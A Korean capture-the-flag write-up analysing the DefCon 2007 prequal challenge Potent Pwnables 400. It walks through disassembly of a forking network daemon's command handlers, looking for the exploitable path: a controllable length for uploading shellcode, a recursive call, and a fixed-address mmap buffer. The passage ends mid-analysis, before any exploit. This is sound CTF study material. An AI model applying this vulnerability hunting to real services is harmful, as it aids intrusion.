DefCon CTF 2007 Prequals - Potent Pwnables 400 풀이 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 7월 5일 ( 마지막수정일 : 2007년 7월 5일 ) http://powerhacker.net 안녕하세요, 이번에는 DefCon2007 CTF Prequals - Potent Pwnables 400 문제풀이입니다. 예선전당시에는손도못댔었는데, 이것도요령이생기니까할만하네요. 외국해커들이어떻게그리빨리푸는지이제는약간이해할수있을것도같네요. 300 을풀때는몰랐는데, 취약점이있는함수가여러개의비슷한함수들속에숨겨져있을때, 분석하기참골때리더라구요. 특히 Binary Leetness 500 문제 -_-; 3일동안분석했는데, 결국못풀었습니다. ( 참고 : http://powerhacker.net/forums/viewtopic.php?t=990) 혹시이문제푸신분있으시면힌트좀주세요. -0-; 어쨌든, 이번문제도약간의삽질이필요한그런문제입니다. 여기에삽질한내용을다적기에는, 적는데에시간이더걸릴거같고,, 중요한부분위주로분석하면서, 관련코드를언급하는방식으로적어나가겠습니다. 혹시읽으시다가설명이미흡하다고생각되는부분이나이해가안되는부분이있으면제이메일로연락부탁드립니다. ^^ 자, 그럼시작해볼까요? 아래는 main() 함수호출부분입니다..text:08048B04 loc_8048b04: ; CODE XREF: start+8fj.text:08048b04 sub esp, 0Ch.text:08048B07 push offset _term_proc ; func.text:08048b0c call _atexit.text:08048b11 call _init_proc.text:08048b16 push eax.text:08048b17 push esi.text:08048b18 lea eax, [ebp+arg_0].text:08048b1b push eax.text:08048b1c push ebx.text:08048b1d call sub_8049410 ; main() 함수호출
.text:08048b22 add esp, 14h.text:08048B25 push eax ; status.text:08048b26 call _exit 함수내부로들어가면다음과같은코드가나옵니다..text:08049410 push ebp.text:08049411 mov ebp, esp.text:08049413 sub esp, 8.text:08049416 and esp, 0FFFFFFF0h.text:08049419 sub esp, 1Ch.text:0804941C push 1167h.text:08049421 call sub_80495b4.text:08049426 add esp, 10h.text:08049429 cmp eax, 0FFFFFFFFh.text:0804942C jz short loc_8049440.text:0804942e sub esp, 8.text:08049431 push offset sub_80493f0 ; child() 함수포인터.text:08049436 push eax.text:08049437 call sub_8049684 ; daemon() 함수 ( 임의 ).text:0804943c xor eax, eax.text:0804943e leave.text:0804943f retn.text:08049440 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴?.text:08049440.text:08049440 loc_8049440: ; CODE XREF: sub_8049410+1cj.text:08049440 sub esp, 0Ch.text:08049443 push offset ainitfailed ; "init() failed!".text:08049448 call _perror.text:0804944d mov [esp+28h+var_28], 0.text:08049454 call _exit.text:08049454 sub_8049410 두에 C 언어로변환하면다음과같습니다. if((serv_sock = init(4455) == -1) { perror("init() failed"); exit(); } else { daemon(serv_sock, child); return 0; }
init 와 child, daemon 은제마음대로이름붙인겁니다. ^^; 먼저 init(4455); 를호출하네요. 여기엔어떤코드가들어있을까요? 아래는 init() 함수입니다..text:080495B4 push ebp.text:080495b5 mov ebp, esp.text:080495b7 push edi.text:080495b8 push ebx.text:080495b9 lea ebx, [ebp+var_18].text:080495bc sub esp, 28h.text:080495BF cld.text:080495c0 xor eax, eax.text:080495c2 mov ecx, 4.text:080495C7 mov edi, ebx.text:080495c9 mov [ebp+optval], 1.text:080495D0 rep stosd.text:080495d2 push offset sub_804945c ; _sig_func_ptr.text:080495d7 push 14h ; int.text:080495d9 mov edx, [ebp+arg_0].text:080495dc mov byte ptr [ebp+var_18+1], 2.text:080495E0 xchg dh, dl.text:080495e2 mov word ptr [ebp+var_18+2], dx.text:080495e6 call _signal.text:080495eb add esp, 10h.text:080495EE inc eax.text:080495ef jz short loc_804964d.text:080495f1 push eax.text:080495f2 push 0 ; protocol.text:080495f4 push 1 ; type.text:080495f6 push 2 ; family.text:080495f8 call _socket.text:080495fd add esp, 10h.text:08049600 cmp eax, 0FFFFFFFFh.text:08049603 mov edi, eax.text:08049605 jz short loc_804965c.text:08049607 sub esp, 0Ch.text:0804960A push 4 ; optlen.text:0804960c lea edx, [ebp+optval].text:0804960f push edx ; optval.text:08049610 push 4 ; optname.text:08049612 push 0FFFFh ; level.text:08049617 push eax ; s.text:08049618 call _setsockopt.text:0804961d add esp, 20h.text:08049620 inc eax.text:08049621 jz short loc_8049666.text:08049623 push eax.text:08049624 push 10h ; addrlen.text:08049626 push ebx ; my_addr.text:08049627 push edi ; int.text:08049628 call _bind
.text:0804962d add esp, 10h.text:08049630 inc eax.text:08049631 jz short loc_8049670.text:08049633 sub esp, 8.text:08049636 push 14h ; n.text:08049638 push edi ; int.text:08049639 call _listen.text:0804963e add esp, 10h.text:08049641 inc eax.text:08049642 jz short loc_804967a.text:08049644 lea esp, [ebp-8].text:08049647 pop ebx.text:08049648 mov eax, edi.text:0804964a pop edi.text:0804964b leave.text:0804964c retn 사실위코드는문제푸는것과는전혀관계없는루틴입니다. 이런쓸데없는코드는대충눈으로훑어보고어떤인자로어떤함수를호출하는지정도만파악하고넘어가는게좋습니다. 분석해봤자별이득도없거니와, 체력낭비에시간낭비죠. 대충훑어보면일반적인서버소켓프로그래밍을위한초기화를실행하고있습니다. 소켓을생성하고, 소켓에옵션을주고, 포트를할당하고, 클라이언트의요청을기다리는코드로보이네요. 또한여기서 signal() 함수는자식프로세스가비정상적으로종료될때 defunc 를방지하는역할을합니다. 여기까지실행하면 4455 번포트를열고, 클라이언트의접속을기다리게됩니다. 그다음코드는 daemon(serv_sock, child); 인데요, 여기서 serv_sock 에는 init() 함수에서생성한소켓디스크립터가저장되어있구요,, child 는 child() 함수의포인터입니다. 이변수들을가지고어떤일들을하는지분석해봅시다..text:08049684 push ebp.text:08049685 mov ebp, esp.text:08049687 push edi.text:08049688 push esi.text:08049689 push ebx.text:0804968a sub esp, 2Ch.text:0804968D lea edi, [ebp+clnt_addr_size].text:08049690 lea ebx, [ebp+clnt_addr].text:08049693 nop.text:08049694.text:08049694 loc_8049694: ; CODE XREF: daemon+23j.text:08049694 ; daemon+2dj....text:08049694 push eax.text:08049695 push edi ; int *.text:08049696 push ebx ; peer.text:08049697 push [ebp+serv_sock] ; int
.text:0804969a call _accept.text:0804969f add esp, 10h.text:080496A2 cmp eax, 0FFFFFFFFh.text:080496A5 mov esi, eax.text:080496a7 jz short loc_8049694.text:080496a9 call _fork.text:080496ae cmp eax, 0FFFFFFFFh.text:080496B1 jz short loc_8049694.text:080496b3 test eax, eax.text:080496b5 jz short loc_80496c5.text:080496b7 sub esp, 0Ch.text:080496BA push esi ; fildes.text:080496bb call _close.text:080496c0 add esp, 10h.text:080496C3 jmp short loc_8049694.text:080496c5 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴?.text:080496C5.text:080496C5 loc_80496c5: ; CODE XREF: daemon+31j.text:080496c5 sub esp, 0Ch.text:080496C8 push esi ; status.text:080496c9 call [ebp+child].text:080496cc mov ebx, eax.text:080496ce mov [esp+48h+var_48], esi.text:080496d1 call _close.text:080496d6 mov [esp+48h+var_48], ebx.text:080496d9 call _exit.text:080496d9 daemon endp clnt_addr_size, clnt_addr 는역시편의상제가정한이름입니다. 앞으로이부분에대해서는설명을생략하겠습니다. 간단하게 C 로변환해보면, if((clnt_sock = accept(serv_sock, (struct sockaddr *)&clnt_addr, &clnt_addr_size))!= -1) if(fork() == 0) child(clnt_sock); 라고할수있습니다. 클라이언트와연결한다음, 자식프로세스를만들어서 child() 함수를실행하네요. 이때, 인자는클라이언트와연결된소켓디스크립터입니다. 이제클라이언트와통신을하기위한준비는끝난것같고,, 뭔가제대로된놈이나올것같은예감이듭니다. child() 함수로들어가보겠습니다.
.text:080493f0 push ebp.text:080493f1 mov ebp, esp.text:080493f3 push ebx.text:080493f4 sub esp, 10h.text:080493F7 mov ebx, [ebp+arg_0].text:080493fa push 5 ; secs.text:080493fc call _alarm.text:08049401 mov [ebp+arg_0], ebx.text:08049404 add esp, 10h.text:08049407 mov ebx, [ebp+var_4].text:0804940a leave.text:0804940b jmp sub_8048c28 ; vul.text:0804940b sub_80493f0 두에 alarm() 함수를호출하네요. 즉, 지금부터 5초뒤에 SIGALRM 시그널이발생됩니다. 그냥 nc localhost 4455 로접속해보면, 일정시간후에 ( 느낌상 5초 ) 자동으로연결이끊어지는걸알수있습니다. 아마이시그널이발생되면프로그램이종료하게되는함수가호출될겁니다. 즉, 이자식프로세스의수명은 5 초입니다. -_-; 이때문에, gdb 로디버깅이힘들어지긴하는데, (5초뒤에디버깅하던게종료되므로..) 이부분을 0x90 으로패치하거나, 인자값 5 대신 0 으로패치하면시그널이발생하지않습니다. 근데전 gdb 를쓸일이없어서패치없이그냥진행했습니다. 에? 이게뭐야 ~ 별거없잖아? 라고생각하실지도모르겠네요. 저도그렇게생각했었는데, jmp sub_8048c28 부분이마음에걸립니다. 살포시들어가보겠습니다.???!!! 뭔가,, 거대한놈과마주보고서있는느낌입니다. -_-; 오버뷰로보니그나마좀낫네요. 약간확대해볼까요?
이코드에서또다른서브함수들을호출한다고생각하면,, 벌써부터막막해집니다. 그래도삽은들었으니, 파긴파야겠고,, 대충윤곽도잡을겸, 처음부터차근차근분석해봅시다. 아래는 vul() 함수앞부분,,
.text:08048c28 push ebp.text:08048c29 mov ebp, esp.text:08048c2b push edi.text:08048c2c push esi.text:08048c2d push ebx.text:08048c2e sub esp, 540h.text:08048C34 push 400h ; size_t.text:08048c39 push 0 ; int.text:08048c3b lea esi, [ebp+buf1].text:08048c41 push esi ; void *.text:08048c42 mov [ebp+buf1_var2], 0.text:08048C4C mov [ebp+buf1_var1], 0.text:08048C56 call _memset.text:08048c5b add esp, 0Ch.text:08048C5E push 60h ; size_t.text:08048c60 push 0 ; int.text:08048c62 lea ebx, [ebp+buf2].text:08048c68 push ebx ; void *.text:08048c69 mov [ebp+buf2_var1], 0.text:08048C73 call _memset.text:08048c78 add esp, 0Ch.text:08048C7B push 8 ; arg2.text:08048c7d lea edi, [ebp+buf1_var2].text:08048c83 push edi ; buf.text:08048c84 push [ebp+clnt_sock] ; clnt_sock.text:08048c87 call get_data.text:08048c8c add esp, 10h.text:08048C8F cmp eax, 8.text:08048C92 jnz loc_8049181.text:08048c98 mov eax, [ebp+buf1_var2].text:08048c9e cmp eax, 7 ; switch 8 cases.text:08048ca1 ja short loc_8048cac ; default.text:08048ca3 jmp ds:off_8049950[eax*4] ; switch jump 스택에 0x540 만큼의공간을만듭니다. char buf1[0x400] 으로보이는변수를 0 으로초기화합니다. memset(buf1, 0, 0x400); 그리고특정변수 buf1_var1, buf_var2 에각각 0 을넣구요. char buf2[0x60] 으로보이는변수를 0 으로초기화합니다. memset(buf2, 0, 0x60); 마찬가지로 buf2_var1 로추정되는변수에 0 을넣습니다. 그리고 get_data(clnt_sock, &buf1_var2, 8); 을실행합니다. get_data() 함수로들어가봅시다..text:0804947C push ebp.text:0804947d mov ebp, esp.text:0804947f push edi.text:08049480 push esi.text:08049481 push ebx.text:08049482 sub esp, 0Ch
.text:08049485 mov esi, [ebp+arg2] ; 전송받을데이터의길이.text:08049488 xor ebx, ebx.text:0804948a cmp ebx, esi.text:0804948c mov edi, [ebp+buf1_var2].text:0804948f jnb short loc_80494b3.text:08049491 lea esi, [esi+0].text:08049494.text:08049494 loc_8049494: ; CODE XREF: get_data+35j.text:08049494 mov edx, esi.text:08049496 sub edx, ebx.text:08049498 push ecx.text:08049499 push edx ; nbyte.text:0804949a lea eax, [edi+ebx].text:0804949d push eax ; buf.text:0804949e push [ebp+clnt_sock] ; fildes.text:080494a1 call _read.text:080494a6 add esp, 10h.text:080494A9 test eax, eax.text:080494ab jle short loc_80494b3.text:080494ad add ebx, eax.text:080494af cmp ebx, esi.text:080494b1 jb short loc_8049494.text:080494b3.text:080494b3 loc_80494b3: ; CODE XREF: get_data+13j.text:080494b3 ; get_data+2fj.text:080494b3 lea esp, [ebp-0ch].text:080494b6 mov eax, ebx.text:080494b8 pop ebx.text:080494b9 pop esi.text:080494ba pop edi.text:080494bb leave.text:080494bc retn.text:080494bc get_data 두에 간단하게설명하자면, 첫번째인자파일디스크립터로부터세번째인자길이만큼의데이터를전송받아서, 두번째인자주소가가리키는공간에저장하고, 전송받은데이터의길이를리턴해주는함수입니다. 즉 8 바이트만큼데이터를수신해서 buf1_var2 의주소에저장합니다. ( 이때, buf1_var1 과 buf1_var2 는붙어있으므로, 앞 4바이트는 buf1_var2 에저장되고뒤 4바이트는 buf1_var1 에저장됩니다 ) 다시위로올라가서, get_data() 함수호출후의부분을보면,, 리턴값이 8 인가? 비교하는부분이있구요,, 8 이아니라면 "read failed" 메시지를출력하고종료하게됩니다. 즉우리는처음에 8 바이트를전송해야합니다. 그럼뭘전송해야할까요? 답은그밑에있습니다.
.text:08048c98 mov eax, [ebp+buf1_var2].text:08048c9e cmp eax, 7 ; switch 8 cases.text:08048ca1 ja short loc_8048cac ; default.text:08048ca3 jmp ds:off_8049950[eax*4] ; switch jump 이부분인데요,, 0x8049950 부분을보면.rodata:08049950 off_8049950 dd offset loc_8048cac ; DATA XREF: vul+7br.rodata:08049950 dd offset loc_8048e17 ; jump table for switch statement.rodata:08049950 dd offset loc_8048e9f.rodata:08049950 dd offset loc_8048f27.rodata:08049950 dd offset loc_8048cac.rodata:08049950 dd offset loc_8048f5d.rodata:08049950 dd offset loc_804900f.rodata:08049950 dd offset loc_8048d0b 이렇게 8 개의함수포인터배열을만들어놓고, 클라이언트로부터전송받은첫 4바이트 (buf1_var2) 의값에따라각기다른함수를호출하는군요. 위에서부터차례대로 0 ~ 7 과대치됩니다. 그리고 7보다커도 0x8048cac 부분이실행됩니다. 이를토대로 7개의함수를각각묶어버립니다. 그럼아래와같이간단해집니다. ^^ 좀볼만하네요. 이제부터 7개의함수를하나씩까발리면됩니다. 먼저 0 이거나 7 보다클때.text:08048CAC mov ebx, off_804aacc ; "Unknown Code".text:08048CB2 xor eax, eax
.text:08048cb4 mov [ebp+nbyte], 0.text:08048CBE mov [ebp+buf], 4.text:08048CC8 cld.text:08048cc9 mov ecx, 0FFFFFFFFh.text:08048CCE mov edi, ebx.text:08048cd0 repne scasb.text:08048cd2 push eax.text:08048cd3 push 8 ; nbyte.text:08048cd5 lea edx, [ebp+buf].text:08048cdb push edx ; buf.text:08048cdc not ecx.text:08048cde push [ebp+clnt_sock] ; fildes.text:08048ce1 mov [ebp+nbyte], ecx.text:08048ce7 call _write.text:08048cec add esp, 0Ch.text:08048CEF push [ebp+nbyte] ; nbyte.text:08048cf5.text:08048cf5 loc_8048cf5: ; CODE XREF: vul+272j.text:08048cf5 ; vul+2faj....text:08048cf5 push ebx ; buf.text:08048cf6.text:08048cf6 loc_8048cf6: ; CODE XREF: vul+1eaj.text:08048cf6 ; vul+3e2j....text:08048cf6 push [ebp+clnt_sock] ; fildes.text:08048cf9 call _write.text:08048cfe add esp, 10h.text:08048D01 xor eax, eax.text:08048d03.text:08048d03 loc_8048d03: ; CODE XREF: vul+330j.text:08048d03 ; vul+46aj....text:08048d03 lea esp, [ebp-0ch].text:08048d06 pop ebx.text:08048d07 pop esi.text:08048d08 pop edi.text:08048d09 leave.text:08048d0a retn 뭔가 8 바이트를클라이언트에게전송하고, "Unknown Code" 라는문자열도전송하네요. 이문자열은 nc 로접속해서아무글자나입력해보면나오는메시지입니다. 이함수는취약점과아무상관이없습니다. 하지만우리는여기서첫 4바이트 (buf1_var2) 는 0보다크고 8보다작은수여야한다는것을알수있습니다. 그럼다음함수를보겠습니다. 1 일때.text:08048E17 mov eax, [edi+4] ; buf1_var1.text:08048e1a cmp eax, 3FFh.text:08048E1F ja loc_80490e5.text:08048e25 push edx
.text:08048e26 push eax ; arg2.text:08048e27 push esi ; buf1.text:08048e28 push [ebp+clnt_sock] ; clnt_sock.text:08048e2b call get_data.text:08048e30 add esp, 10h.text:08048E33 cmp eax, [edi+4].text:08048e36 jnz loc_8049363.text:08048e3c sub esp, 8.text:08048E3F push ebx ; sbuf.text:08048e40 push esi ; path.text:08048e41 call _stat.text:08048e46 add esp, 10h.text:08048E49 test eax, eax.text:08048e4b jz loc_804925e.text:08048e51 mov ebx, off_804aac8.text:08048e57 mov [ebp+var_4d4], 0.text:08048E61 mov [ebp+var_4d8], 4.text:08048E6B cld.text:08048e6c xor eax, eax.text:08048e6e mov ecx, 0FFFFFFFFh.text:08048E73 mov edi, ebx.text:08048e75 repne scasb.text:08048e77 push esi.text:08048e78 push 8 ; nbyte.text:08048e7a lea edx, [ebp+var_4d8].text:08048e80 push edx ; buf.text:08048e81 not ecx.text:08048e83 push [ebp+clnt_sock] ; fildes.text:08048e86 mov [ebp+var_4d4], ecx.text:08048e8c call _write.text:08048e91 add esp, 0Ch.text:08048E94 push [ebp+var_4d4].text:08048e9a jmp loc_8048cf5 처음우리가입력한 8바이트중뒤 4바이트 (buf1_var1) 의값이 0x3ff 보다크면 0x80490e5 를호출합니다. 아래코드인데요, "Content Too Long" 이라는문자열을클라이언트에게전송합니다. 만약 0x3ff 보다같거나작다면, get_data(clnt_sock, buf1, buf1_var1); 코드를실행합니다. 즉클라이언트로부터새로운데이터를또전송받습니다. 이때 buf1_var1 값은우리가조작가능하므로, 크기를늘여서쉘코드따위를올릴수있음을알수있습니다. 그다음 stat(buf1, sbuf); 를실행하는데요, stat() 함수는첫번째인자특정파일의정보를구조체포인터로두번째인자에저장합니다..text:080490E5 mov ebx, off_804aac4 ; "Content Too Long".text:080490EB mov [ebp+var_4cc], 0.text:080490F5 mov [ebp+var_4d0], 4.text:080490FF cld.text:08049100 xor eax, eax.text:08049102 mov ecx, 0FFFFFFFFh.text:08049107 mov edi, ebx
.text:08049109 repne scasb.text:0804910b not ecx.text:0804910d mov [ebp+var_4cc], ecx.text:08049113 push ecx.text:08049114 push 8 ; nbyte.text:08049116 lea esi, [ebp+var_4d0].text:0804911c push esi ; buf.text:0804911d push [ebp+clnt_sock] ; fildes.text:08049120 call _write.text:08049125 add esp, 0Ch.text:08049128 push [ebp+var_4cc].text:0804912e jmp loc_8048cf5.text:0804925e push ebx.text:0804925f push [ebp+var_474].text:08049265 push offset ad ; "%d".text:0804926a push esi ; char *.text:0804926b call _sprintf.text:08049270 mov edi, esi.text:08049272 add esp, 0Ch.text:08049275 mov [ebp+var_4dc], 0.text:0804927F mov [ebp+var_4e0], 1.text:08049289 cld.text:0804928a xor eax, eax.text:0804928c mov ecx, 0FFFFFFFFh.text:08049291 repne scasb.text:08049293 lea ebx, [ebp+var_4e0].text:08049299 push 8 ; nbyte.text:0804929b push ebx ; buf.text:0804929c not ecx.text:0804929e push [ebp+clnt_sock] ; fildes.text:080492a1 mov [ebp+var_4dc], ecx.text:080492a7 call _write.text:080492ac add esp, 0Ch.text:080492AF push [ebp+var_4dc].text:080492b5 push esi.text:080492b6 jmp loc_8048cf6 그리고위와같이 sprint() 함수를이용해적절한포맷으로변환한뒤, 클라이언트로전송하고있음을알수있습니다. 사실그전에 8 바이트를전송하는부분이있긴한데, 별로문제와상관없을거같아서무시하고넘어가겠습니다. 그럼이제 2 일때 를보겠습니다..text:08048E9F mov eax, [edi+4] ; buf1_var
.text:08048ea2 cmp eax, 3FFh.text:08048EA7 ja loc_8049097.text:08048ead push edx.text:08048eae push eax ; arg2.text:08048eaf push esi ; buf1.text:08048eb0 push [ebp+clnt_sock] ; clnt_sock.text:08048eb3 call get_data.text:08048eb8 add esp, 10h.text:08048EBB cmp eax, [edi+4].text:08048ebe jnz loc_8049363.text:08048ec4 sub esp, 8.text:08048EC7 push ebx ; sbuf.text:08048ec8 push esi ; path.text:08048ec9 call _stat.text:08048ece add esp, 10h.text:08048ED1 test eax, eax.text:08048ed3 jz loc_80492bb.text:08048ed9 mov ebx, off_804aac8.text:08048edf mov [ebp+var_48c], 0.text:08048EE9 mov [ebp+var_490], 4.text:08048EF3 cld.text:08048ef4 xor eax, eax.text:08048ef6 mov ecx, 0FFFFFFFFh.text:08048EFB mov edi, ebx.text:08048efd repne scasb.text:08048eff push esi.text:08048f00 push 8 ; nbyte.text:08048f02 lea edx, [ebp+var_490].text:08048f08 push edx ; buf.text:08048f09 not ecx.text:08048f0b push [ebp+clnt_sock] ; fildes.text:08048f0e mov [ebp+var_48c], ecx.text:08048f14 call _write.text:08048f19 add esp, 0Ch.text:08048F1C push [ebp+var_48c].text:08048f22 jmp loc_8048cf5 1 일때 와매우비슷하다는것을알수있습니다. 뿐만아니라내부적으로점프하는코드도주소만다를뿐, 따라가보면하는일은거의비슷합니다. 그러므로패스 ~ 3 일때 를볼까요?.text:08048F27 push eax ; case 0x3.text:08048F28 push 4 ; arg2.text:08048f2a lea esi, [ebp+var_4ac].text:08048f30 push esi ; buf1_var2.text:08048f31 push [ebp+clnt_sock] ; clnt_sock.text:08048f34 mov [ebp+var_4ac], 0.text:08048F3E call get_data
.text:08048f43 xor ebx, ebx.text:08048f45 add esp, 10h.text:08048F48 cmp eax, 4.text:08048F4B mov edx, 0FFFFFFFFh.text:08048F50 jz loc_8049067.text:08048f56 mov eax, edx.text:08048f58 jmp loc_8048d03 ; 종료 get_data() 함수를이용해서클라이언트로부터 4 바이트만큼전송받습니다..text:08049067 loc_8049067: ; CODE XREF: vul+328j.text:08049067 cmp ebx, [ebp+var_4ac].text:0804906d jge short loc_804908e.text:0804906f.text:0804906f loc_804906f: ; CODE XREF: vul+464j.text:0804906f sub esp, 0Ch.text:08049072 push [ebp+clnt_sock] ; clnt_sock.text:08049075 call vul.text:0804907a add esp, 10h.text:0804907D test eax, eax.text:0804907f js loc_8049370.text:08049085 inc ebx.text:08049086 cmp ebx, [ebp+var_4ac].text:0804908c jl short loc_804906f.text:0804908e.text:0804908e loc_804908e: ; CODE XREF: vul+445j.text:0804908e xor edx, edx.text:08049090 mov eax, edx.text:08049092 jmp loc_8048d03 ; 종료 그리고위와같이전송받은횟수만큼루프를돌면서 call vul 즉, 자기자신을호출합니다. 뭔가수상하지않나요? 자기자신을호출한다니,, 일단이렇게만알아두고다음함수를분석해보도록하죠. 4 일때 는함수포인터가 0x8048cac 이므로, 0 이거나 7 보다클때 와같은함수를호출합니다. 중복되니까빼도록하고, 5 일때 로넘어가겠습니다..text:08048F5D cmp dword ptr [edi+4], 3FFh ; case 0x5.text:08048F64 ja loc_8049198.text:08048f6a mov [ebp+buf2_var1], 0.text:08048F74 jmp short loc_8048f8f.text:08048f78 loc_8048f78: ; CODE XREF: vul+380j
.text:08048f78 mov eax, [ebp+buf2_var1].text:08048f7e cmp byte ptr [ebp+eax+buf1], 0.text:08048F86 jz short loc_8048faa.text:08048f88 inc eax.text:08048f89 mov [ebp+buf2_var1], eax.text:08048f8f.text:08048f8f loc_8048f8f: ; CODE XREF: vul+34cj.text:08048f8f mov edx, esi.text:08048f91 push eax.text:08048f92 push 1 ; nbyte.text:08048f94 add edx, [ebp+buf2_var1].text:08048f9a push edx ; buf.text:08048f9b push [ebp+clnt_sock] ; fildes.text:08048f9e call _read.text:08048fa3 add esp, 10h.text:08048FA6 test eax, eax.text:08048fa8 jg short loc_8048f78.text:08048faa.text:08048faa loc_8048faa: ; CODE XREF: vul+35ej.text:08048faa sub esp, 0Ch.text:08048FAD push esi ; char *.text:08048fae call _getpwnam.text:08048fb3 add esp, 0Ch.text:08048FB6 push dword ptr [eax+8].text:08048fb9 push offset ad ; "%d".text:08048fbe push esi ; char *.text:08048fbf call _sprintf.text:08048fc4 mov edi, esi.text:08048fc6 add esp, 0Ch.text:08048FC9 mov [ebp+var_4a4], 0.text:08048FD3 mov [ebp+var_4a8], 5.text:08048FDD cld.text:08048fde xor eax, eax.text:08048fe0 mov ecx, 0FFFFFFFFh.text:08048FE5 repne scasb.text:08048fe7 lea ebx, [ebp+var_4a8].text:08048fed push 8 ; nbyte.text:08048fef push ebx ; buf.text:08048ff0 not ecx.text:08048ff2 push [ebp+clnt_sock] ; fildes.text:08048ff5 mov [ebp+var_4a4], ecx.text:08048ffb call _write.text:08049000 add esp, 0Ch.text:08049003 push [ebp+var_4a4].text:08049009 push esi.text:0804900a jmp loc_8048cf6 buf1_var1 의값이 0x3ff 보다같거나작으면클라이언트로부터 1바이트를전송받은뒤, getpwnam() 함수의인자로전달합니다. 그리고 password 구조체에서 offset +8 에해당하는 uid 를클라이언트에게전송합니다. 위코드를보면루프를돌면서 inc eax 후 push eax 를하고 read() 함수의인자로넣는것같
지만, 자세히보면그후에무조건 push 1 을하면서 1바이트밖에전송을못받게합니다. 그러므로 root 라던지다른유저의정보를빼내올수없습니다. 또한다시리턴되는정보또한 uid 이기때문에, 이코드로는아무런공격도할수없습니다. 헉헉.. 이제 6 일때 네요.. 이거직접푸는것보다글쓰는게훨씬더힘드네요 -_-;.text:0804900f cmp dword ptr [edi+4], 4 ; case 0x6.text:08049013 jz loc_80491e6.text:08049019 mov ebx, off_804aac4.text:0804901f mov [ebp+var_4e4], 0.text:08049029 mov [ebp+var_4e8], 4.text:08049033 cld.text:08049034 xor eax, eax.text:08049036 mov ecx, 0FFFFFFFFh.text:0804903B mov edi, ebx.text:0804903d repne scasb.text:0804903f not ecx.text:08049041 mov [ebp+var_4e4], ecx.text:08049047 push ecx.text:08049048 push 8 ; nbyte.text:0804904a lea esi, [ebp+var_4e8].text:08049050 push esi ; buf.text:08049051 push [ebp+clnt_sock] ; fildes.text:08049054 call _write.text:08049059 add esp, 0Ch.text:0804905C push [ebp+var_4e4].text:08049062 jmp loc_8048cf5 buf1_var1 의값이 4 이면, 클라이언트로부터다시 4바이트를전송받습니다. 그리고그전송받은값으로 getpwuid() 함수를호출합니다. 하지만여기에도함정이숨어있었으니,,.text:080491E6 push edx.text:080491e7 push 4 ; arg2.text:080491e9 lea edx, [ebp+buf2_var1].text:080491ef push edx ; buf1_var2.text:080491f0 push [ebp+clnt_sock] ; clnt_sock.text:080491f3 call get_data.text:080491f8 add esp, 10h.text:080491FB cmp eax, 4.text:080491FE jnz loc_804937c.text:08049204 sub esp, 0Ch.text:08049207 push [ebp+buf2_var1] ; uid_t.text:0804920d call _getpwuid.text:08049212 mov ebx, [eax].text:08049214 add esp, 0Ch.text:08049217 mov [ebp+var_4f4], 0
.text:08049221 mov [ebp+var_4f8], 6.text:0804922B cld.text:0804922c xor eax, eax.text:0804922e mov ecx, 0FFFFFFFFh.text:08049233 mov edi, ebx.text:08049235 repne scasb.text:08049237 lea esi, [ebp+var_4f8].text:0804923d push 8 ; nbyte.text:0804923f push esi ; buf.text:08049240 not ecx.text:08049242 push [ebp+clnt_sock] ; fildes.text:08049245 mov [ebp+var_4f4], ecx.text:0804924b call _write.text:08049250 add esp, 0Ch.text:08049253 push [ebp+var_4f4].text:08049259 jmp loc_8048cf5 바로 getpwuid() 함수호출후바로다음코드인 mov ebx, [eax] 입니다. 여기서 [eax] 는유저네임즉, id 를뜻합니다. 이래선패킷을조작하여 uid 0 의정보를출력하게끔공격해도, 해당 uid 의 id 인 root 만리턴될뿐어떠한공격도이뤄질수없습니다. 그럼이제마지막으로 7 일때 를분석해봅시다..text:08048D0B cmp dword ptr [edi+4], 1000h ; case 0x7.text:08048D12 ja loc_8049133.text:08048d18 push eax.text:08048d19 push 0.text:08048D1B push 0 ; off.text:08048d1d push 0FFFFFFFFh ; fd.text:08048d1f push 1010h ; flags.text:08048d24 push 3 ; prot.text:08048d26 push 1000h ; len.text:08048d2b push 0BFBDF000h ; addr.text:08048d30 call _mmap.text:08048d35 add esp, 20h.text:08048D38 cmp eax, 0FFFFFFFFh.text:08048D3B mov edx, eax.text:08048d3d mov ds:bfbdf, eax.text:08048d42 jz loc_8049318.text:08048d48 push eax.text:08048d49 push dword ptr [edi+4] ; arg2.text:08048d4c push edx ; buf1_var2.text:08048d4d push [ebp+clnt_sock] ; clnt_sock.text:08048d50 call get_data.text:08048d55 add esp, 10h.text:08048D58 cmp eax, [edi+4].text:08048d5b jnz loc_8049363.text:08048d61 xor edi, edi
.text:08048d63 cmp edi, eax.text:08048d65 mov [ebp+buf2_var1], 0.text:08048D6F jnb short loc_8048dba.text:08048d71 mov ebx, ds:bfbdf.text:08048d77 mov [ebp+new_bfbdf], ebx.text:08048d7d mov [ebp+new_bfbdf_len], eax.text:08048d83 nop.text:08048d84.text:08048d84 loc_8048d84: ; CODE XREF: vul+190j.text:08048d84 mov edx, [ebp+new_bfbdf].text:08048d8a mov eax, edi.text:08048d8c movzx ecx, byte ptr [edx+edi].text:08048d90 mov ebx, 0Dh.text:08048D95 cdq.text:08048d96 idiv ebx.text:08048d98 xor ecx, [ebp+buf2_var1].text:08048d9e test edx, edx.text:08048da0 mov [ebp+buf2_var1], ecx.text:08048da6 jnz short loc_8048db1.text:08048da8 shl ecx, 4.text:08048DAB mov [ebp+buf2_var1], ecx.text:08048db1.text:08048db1 loc_8048db1: ; CODE XREF: vul+17ej.text:08048db1 inc edi.text:08048db2 cmp edi, [ebp+new_bfbdf_len].text:08048db8 jb short loc_8048d84.text:08048dba.text:08048dba loc_8048dba: ; CODE XREF: vul+147j.text:08048dba push ebx.text:08048dbb push [ebp+buf2_var1].text:08048dc1 push offset a0x_8x ; "0x%.8x".text:08048DC6 push esi ; char *.text:08048dc7 call _sprintf.text:08048dcc mov edi, esi.text:08048dce mov [ebp+var_4c4], 0.text:08048DD8 mov [ebp+var_4c8], 1.text:08048DE2 cld.text:08048de3 xor eax, eax.text:08048de5 mov ecx, 0FFFFFFFFh.text:08048DEA repne scasb.text:08048dec add esp, 0Ch.text:08048DEF not ecx.text:08048df1 push 8 ; nbyte.text:08048df3 mov [ebp+var_4c4], ecx.text:08048df9 lea ecx, [ebp+var_4c8].text:08048dff push ecx ; buf.text:08048e00 push [ebp+clnt_sock] ; fildes.text:08048e03 call _write.text:08048e08 add esp, 